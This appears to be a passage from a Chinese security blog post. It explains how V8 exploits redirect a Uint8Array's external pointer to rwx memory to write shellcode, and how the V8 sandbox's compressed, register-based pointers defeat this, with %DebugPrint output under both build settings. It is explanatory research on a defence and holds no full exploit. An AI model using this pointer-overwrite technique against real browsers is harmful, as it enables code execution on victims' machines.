这段代码中,通过addressof(shellArray) + 0x2c存放的是Uint8Array对象数组的指针,它是一个full pointer,将它修改为rwx内存的地址,Uint8Array就指向了rwx,对Uint8Array数组访问,就可以直接修改rwx内容了。当v8_enable_sandbox 为true时。addressof(shellArray) + 0x2c存放的是v8 heap addr。这是一个压缩指针,中间记录的是偏移。addr + base << 32才能得到真正的地址,base存放在寄存器中。由于base存放在寄存中,无法泄露,也无法修改,因此无法构造一个合理的跳板来写rwx,进一步让漏洞无法利用。这是v8 sandbox想要达到的效果。也就是说,以后要实现一个完成的漏洞利用链,除了v8的漏洞外,还需要额外找到一个v8 sandbox的漏洞才行。用%DebugPrint查看不同开关下面Uint8Array的结构。
1 2 3 4 5 6 7 8 9 10 11 | # disable v8 sandbox # v8_enable_sandbox = false # ./d8 --allow-natives-syntax test.js # var obj = new Uint8Array(100); # %DebugPrint(obj); DebugPrint: 0x287d0004c645: [JSTypedArray] ... - data_ptr: 0x7fb90870c630 - base_pointer: 0x0 - external_pointer: 0x7fb90870c630 |
关闭sandbox,external_pointer为一个完整的指针。addressof(shellArray) + 0x2c存的值是0x7fb90870c630。替换为rwx的值即可读写rwx里面的内容。
1 2 3 4 5 6 7 8 9 10 | # enable v8 sandbox # v8_enable_sandbox = true # ./d8 --allow-natives-syntax test.js # var obj = new Uint8Array(100); # %DebugPrint(obj); DebugPrint: 0x76d001cc639: [JSTypedArray] ... - data_ptr: 0x76e00000000 - base_pointer: 0x0 - external_pointer: 0x76e00000000 |
开启sandbox,0x76e00000000为v8 sandbox addr,addressof(shellArray) + 0x2c存的值是0x100000000,寄存器里面存放的是0x76d,两者相加得到0x76e00000000。
参考
Critical Zero-Day Chrome Vulnerability Discovered in V8 Engine's JIT (CVE-2023-2033)
加群讨论V8漏洞